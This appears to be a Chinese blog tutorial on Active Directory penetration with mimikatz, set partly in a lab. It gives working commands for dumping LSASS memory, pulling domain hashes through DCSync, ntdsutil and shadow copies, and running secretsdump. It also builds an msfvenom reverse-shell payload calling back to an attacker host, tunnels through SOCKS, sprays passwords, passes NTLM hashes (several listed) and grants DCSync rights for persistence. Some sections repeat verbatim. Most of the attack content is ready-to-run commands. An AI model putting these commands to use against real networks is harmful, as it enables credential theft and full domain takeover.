内网渗透-mimikatz的多种用法下
这里一共有两种转储方式
miniDump:
应用程序可以生成用户模式的小型转储文件,其中包含故障转储文件中包含的信息的有用子集。应用程序可以非常快速有效地创建小型转储文件。由于小型转储文件很小,因此可以轻松地将其通过Internet发送给该应用程序的技术支持。
full dump:
全部的转储文件。
导出后拖入本地机器使用mimikatz进行分析即可。
mimikatz.exe "sekurlsa::minidump 1.DMP" "sekurlsa::logonPasswords full" exit
AvDump
AvDump.exe是杀软Avast自带的一个程序,该程序可以用来dump进程的内存,拥有Avast的签名
.\\AvDump.exe --pid 612 --exception\_ptr 0 --thread\_id 0 --dump\_level 1 --dump\_file l.dmp --min\_interval 0
注意:需要在powershell的环境下执行命令。
导出后拖入本地机器使用mimikatz进行分析即可。
mimikatz.exe "sekurlsa::minidump 1.DMP" "sekurlsa::logonPasswords full" exit
DumpMinitool
该工具来自vs2022,可以自行安装Visual Studio2022,然后访问路径,把工具拖出来使用即可。
DumpMinitool.exe --file 9.dmp --processId 612 --dumpType Full
获取域hash值
前面提到了抓取当前机器的明文密码,在内网域环境中,最终的目标就是获取域控权限,因此,域中hash才是重中之重。
和本地用户的SAM文件相同,域内的hash存储在一个文件NTDS.DIT中的, NTDS.DIT是一个二进制文件,就等同于本地计算机的SAM文件,它的存放位置是%SystemRoot%\ntds\NTDS.DIT。这里面包含的不只是Username和HASH,还有OU、Group等信息。
总结来说,获取域hash一共有三个方式
1.利用dcsync功能获取域hash(可在域成员主机)
2.利用域控自带的服务ntdsutil.exe,生成ntds.dit文件快照,然后离线分析导出hash(需在域控主机下)
3.利用卷影拷贝服务拷贝C盘,进行导出ntds.dit(需在域控主机下)
利用dcsync功能来获取域内用户的hash
在域环境中,不同域控制器(DC)之间,每 15 分钟都会有一次域数据的同步。当一个域控制器(DC 1)想从其他域控制器(DC 2)获取数据时,DC 1 会向 DC 2 发起一个 GetNCChanges 请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。DCSync 就是利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口向域控发起数据同步请求。
在默认情况下,只有 Administrators、Domain Controllers 和 Enterprise Domain Admins 组内的用户有权限使用 DCSync,但我们可以对域内普通用户添加 ACL (Access Control List) 实现普通用户也能调用 DCSync 功能。(权限维持,通过对域内普通用户添加DCSync权限,达到权限维持的作用)
Mimikatz
通过mimikatz获取域用户hash。其原理就是利用 DRS (Directory Replication Service)协议通过 IDL_DRSGetNCChanges 从域控制器复制用户哈希凭据。
privilege::debug
lsadump::dcsync /domain:vvvv1.com /all /csv
lsadump::dcsync /domain:vvvv1.com /user:test
Invoke-DCSync
Invoke-DCSync是一个基于powershell的脚本。
Powershell -ExecutionPolicy Bypass
Import-Module ./Invoke-DCSync.ps1
Invoke-DCSync -PWDumpFormat
提取NTDS.DIT,SAM和SYSTEM文件
注意,如果不是使用dcsync功能进行提取域内用户hash,导出NTDS.DIT必须要在域控下进行。
https://zhuanlan.zhihu.com/p/464067739
secretsdump
使用impacket工具包中的secretsdump来导出散列
python3 secretsdump.py VVVV1/admins:User\\!@#45@10.10.10.10
python secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:41945356c1b2adde08c00d0e48515b7e -just-dc hacke.testlab/administrator@192.168.188.2
Nishang
Nishang是一个PowerShell攻击框架,它是PowerShell攻击脚本和有效载荷的一个集合,并被广泛应用于渗透测试的各个阶段。
Nishang中的Copy-VSS脚本可用于自动化的提取需要的文件:NTDS.DIT,SAM和SYSTEM。这些文件将被提取到当前的工作目录或你指定的文件夹中。通过生成现有的ntds.dit文件快照,来导出ntds.dit文件。
Powershell -ExecutionPolicy Bypass
Import-Module .\\Copy-VSS.ps1
Copy-VSS
Copy-VSS -DestinationDir C:\\ShadowCopy\\ (指定文件夹输出)
提取成功后可以利用mimikatz来进行导出文件中的hash密码
mimikatz.exe "lsadump::sam /sam:SAM /system:SYSTEM" "exit"
Ntdsutil
ntdsutil是一个命令行工具,是域控制器生态系统的一部分,其主要用途是使管理员能够轻松访问和管理Windows Active Directory数据库。
ntdsutil是域控自带的一个软件,可以用来导出ntds.dit,前提是登陆到域控机器。(在通常情况下,即使拥有管理员权限,也无法读取域控制器中的C:Windows\NTDS\ntds.dit文件(活动目录始终访问这个文件,所以文件被禁止读取)。使用Windows本地卷影拷贝服务,就可以获得文件的副本。)
ntdsutil.exe
activate instance ntds
ifm
create full C:\\ntdsutil
quit
quit
作用是建立ntds.dit文件快照,并且导出到文件夹中,便于离线分析。
生成两个新文件夹:Active Directory和Registry。NTDS.DIT文件将被保存到Active Directory中,而SAM和SYSTEM文件则将被保存到Registry文件夹中。
当然,也可以直接生成C盘的卷影副本。
创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
挂载快照
ntdsutil snapshot "mount {a62e4c82-4445-416a-aa9a-7018db0c587b}" quit quit
装载后就可以直接在C盘根目录进行访问。
直接复制ntds.dit
copy C:\\\\$SNAP\_202308231044\_VOLUMEC$\\windows\\NTDS\\ntds.dit c:\\ntds.dit
或者远程复制
copy \\\\10.10.10.10\\C$\\$SNAP\_202308231044\_VOLUMEC$\\windows\\NTDS\\ntds.dit c:\\ntds.dit
卸载快照
ntdsutil snapshot "unmount {a62e4c82-4445-416a-aa9a-7018db0c587b}" quit quit
删除快照
ntdsutil snapshot "delete {a62e4c82-4445-416a-aa9a-7018db0c587b}" quit quit
NTDSDump
导出了NTDS.DIT和SYSTEM文件后该如何离线分析呢?
这里使用工具NTDSDUMP来进行离线分析导出域内用户hash值
NTDSDumpEx.exe -d ntds.dit -s SYSTEM
vssadmin
vssadmin是Windows上的一个卷影拷贝服务的命令行管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息,显示已安装的所有卷影拷贝写入程序和提供程序,以及改变卷影拷贝的存储空间的大小等。
1.创建一个C盘的卷影拷贝。
vssadmin create shadow /for=C:
2.然后在创建的卷影拷贝中将ntds.dit和SYSTEM复制到C盘中。
copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\windows\\ntds\\ntds.dit C:\\ntds.dit
copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SYSTEM C:\\SYSTEM
3.最后将刚刚创建的卷影拷贝删除即可
vssadmin delete shadows /for=c: /quiet
esentutl
esentutl /y /vss C:\\Windows\\System32\\config\\SAM /d C:\\Users\\16229\\Desktop\\SAM
// /vss 生成对应的卷影副本
对于远程使用卷影副本的总结:
对于目前的工具貌似并没有可以直接远程生成目标主机的卷影副本的方法,但是可以通过间接的方式远程生成卷影副本并导出所需文件。
比如首先远程使用计划任务,执行生成卷影副本等命令,然后用过copy远程复制回本地进行分析。
模拟渗透场景进行导出域hash
这里我们主要使用两个集成工具进行操作:Metasploit和coablt_strike
Metasploit
边界主机web-2012
kali:
在当前的网络环境下,我们只能访问到边界主机web-2012,无法访问到域内网的环境。
这里我们使用直接生成msf的木马,直接上传到边界主机(由于靶机还未搭载任何服务,因此直接进行上传木马开始内网渗透)
kali执行命令生成木马:
msfvenom -p windows/meterpreter/reverse\_tcp LHOST=192.168.126.164 LPORT=1234 -f exe -o shell.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse\_tcp
set lport 1234
set lhost 192.168.126.164
边界主机运行上传的木马:
发现会话已经反弹到kali
查看信息,发现该主机存在双网卡
查看一波信息,发现我们拿到的用户权限为本地的管理员权限
发现无法访问域内资源
加载msf中的mimikatz模块导出hash
进行进程迁移到system权限
migrate [PID]
load kiwi #加载kiwi模块
creds_all #列举所有凭据
kiwi_cmd sekurlsa::logonpasswords #使用mimikatz的全部功能
该方式是从lsass.exe的内存中提权hash,可以使用本地用户的管理员权限抓取到了登陆过本机的域管理员的hash值。
发现我们抓取到域用户的账户,使用RDP登陆查看或者使用Psexec进行登陆
(注意需要目标主机开启远程管理服务)
定位域控
net group "Domain Controllers" /domain
发现可以访问域控的资源,为高权限域用户。
接下来可以使用dcsync功能来进行获取域内用户hash,或者通过代理隧道登陆域控主机直接导出ntds.dit
1.使用dcsync功能
导入mimikatz
lsadump::dcsync /domain:vvvv1.com /all /csv
2.通过代理隧道登陆域控主机直接导出ntds.dit
使用代理工具stowaway
控制端:
上传控制端到kali, 使用被动模式,监听端口8000,并对通信进行加密秘钥为123。等待被控端的连接
./linux\_x64\_admin -l 192.168.126.164:2222 -s 123
被控制端:
windows\_x64\_agent.exe -c 192.168.126.164:2222 -s 123 --reconnect 8
设置socks5代理端口为7777,且账号密码为admin/admin
socks 7777 admin admin
本机使用Proxifier进行连接socks代理
如果不适用代理,无法连接内网地址
代理成功后,发现可以远程连接内网主机
使用ntdsutil导出ntds.dit和STSTEM文件
ntdsutil.exe
activate instance ntds
ifm
create full C:\\ntdsutil
quit
quit
将ntds.dit和STSTEM文件拖到本地,使用NTDSDumpEx.exe进行分析导出域内用户hash即可
coablt_strike
设置监听器
生成一个exe上传到目标主机运行。
3
目标主机上线cs
登陆的机器为边界主机,拥有双网卡
当前用户的权限为administrator
使用插件进行提权,发现成功获取到system权限
查询域内信息,发现域控名为AD-2016
使用当前SYSTEM权限访问域内信息,发现只是低权限的域用户,无法访问到域控的资源
使用net veiw探测网络情况
直接run mimikatz
可以看到跑出一共域用户admins
对探测出的网络用户,使用凭据进行密码喷洒
注意使用psexec需要SMB建立监听器
成功上线所有的机器
使用域控的会话,在LSTAR插件中导出域内用户hash
获取到域内所有用户的hash。
VPN模式和socks代理模式使用dcsync导出域hash
VPN环境
在VPN中可以随意导出域hash
首先进行hash传递为用户添加导出dcsync的权限。
man1:0ec4b410903c6dc7594464f27d347497
admins: 0ec4b410903c6dc7594464f27d347497
administrator:ad5a870327c02f83cb947af6a94a4c23
ad-2016$: 99ac70cee2d4370638397a39c71db91d
EXCHANGE-2016$ :a377e26f4118ba88ce1af6a4f8ac9daf
使用mimikatz进行hash传递攻击。
privilege::debug
sekurlsa::pth /user:man1 /domain:vvvv1.com /ntlm:0ec4b410903c6dc7594464f27d347497
sekurlsa::pth /user:admins /domain:vvvv1.com /ntlm:0ec4b410903c6dc7594464f27d347497
sekurlsa::pth /user:administrator /domain:vvvv1.com /ntlm:ad5a870327c02f83cb947af6a94a4c23
sekurlsa::pth /user:ad-2016$ /domain:vvvv1.com /ntlm:99ac70cee2d4370638397a39c71db91d
经过测试,域控机器账户的权限为普通域用户的权限,但是还有dcsync的权限
lsadump::dcsync /domain:vvvv1.com /all /csv
经过测试,添加这两项的用户可以进行具有dcsync权限。
查询具有dcsync权限的用户
AdFind.exe -s subtree -b "DC=vvvv1,DC=com" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmute
使用命令行给用户添加dcsync权限
通过加载Powershell渗透框架下的PowerView.ps1脚本实现。
Powershell -ExecutionPolicy Bypass
Import-Module .\\PowerView.ps1
Add-DomainObjectAcl -TargetIdentity "DC=vvvv1,DC=com" -PrincipalIdentity man03 -Rights DCSync -Verbose
经过测试,域控的机器账户并没有授予其他人dcsync服务的权限。
但是域管理员账户是拥有授予其他人dcsync服务的权限。
发现man03已经被添加dcsync权限了。
删除man03的dcsync权限
Remove-DomainObjectAcl -TargetIdentity "DC=vvvv1,DC=com" -PrincipalIdentity man03 -Rights DCSync -Verbose
发现已经删除
查询用户权限
Get-DomainObjectAcl -Identity man03 -domain vvvv1.com -ResolveGUIDs
man1:0ec4b410903c6dc7594464f27d347497
admins: 0ec4b410903c6dc7594464f27d347497
administrator:ad5a870327c02f83cb947af6a94a4c23
ad-2016$: 99ac70cee2d4370638397a39c71db91d
使用mimikatz进行hash传递攻击。
privilege::debug
sekurlsa::pth /user:man1 /domain:vvvv1.com /ntlm:0ec4b410903c6dc7594464f27d347497
sekurlsa::pth /user:admins /domain:vvvv1.com /ntlm:0ec4b410903c6dc7594464f27d347497
sekurlsa::pth /user:administrator /domain:vvvv1.com /ntlm:ad5a870327c02f83cb947af6a94a4c23
sekurlsa::pth /user:ad-2016$ /domain:vvvv1.com /ntlm:99ac70cee2d4370638397a39c71db91d
经过测试,域控机器账户的权限为普通域用户的权限,但是还有dcsync的权限
lsadump::dcsync /domain:vvvv1.com /all /csv
经过测试,添加这两项的用户可以进行具有dcsync权限。
查询具有dcsync权限的用户
AdFind.exe -s subtree -b "DC=vvvv1,DC=com" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmute
使用命令行给用户添加dcsync权限
通过加载Powershell渗透框架下的PowerView.ps1脚本实现。
Powershell -ExecutionPolicy Bypass
Import-Module .\PowerView.ps1
Add-DomainObjectAcl -TargetIdentity "DC=vvvv1,DC=com" -PrincipalIdentity man03 -Rights DCSync -Verbose
经过测试,域控的机器账户并没有授予其他人dcsync服务的权限。
但是域管理员账户是拥有授予其他人dcsync服务的权限。
发现man03已经被添加dcsync权限了。
删除man03的dcsync权限
Remove-DomainObjectAcl -TargetIdentity "DC=vvvv1,DC=com" -PrincipalIdentity man03 -Rights DCSync -Verbose
发现已经删除
查询用户权限
Get-DomainObjectAcl -Identity man03 -domain vvvv1.com -ResolveGUIDs
socks代理环境
在socks代理环境中,虽然我们的主机连接了socks代理,但是我们的dns无法解析,域控也没有指定,因此使用dcsync的时候需要指定域控才行。
经过测试,只能使用sharpkatz进行指定域控导出域hash。
SharpKatz.exe --Command dcsync --Domain vvvv1.com --DomainController 10.10.10.10
SharpKatz.exe --Command dcsync --DomainController 10.10.10.100 --AuthUser administrator --AuthDomain ww1.com --AuthPassword admin!@#1456
SharpKatz.exe --Command pth --User administrator --Domain vvvv1.com --NtlmHash f1065013e55bbbeb64ddab768229710d
添加SID,就可以解决无法找到GUID的问题
SharpKatz.exe --Command dcsync --Domain vvvv1.com --DomainController 10.10.10.10 --AuthUser administrator --AuthDomain vvvv1.com --AuthPassword admin!@#4567 --DomainSid S-1-5-21-3315874494-179465980-3412869843
- 点赞
- 收藏
- 关注作者
评论(0)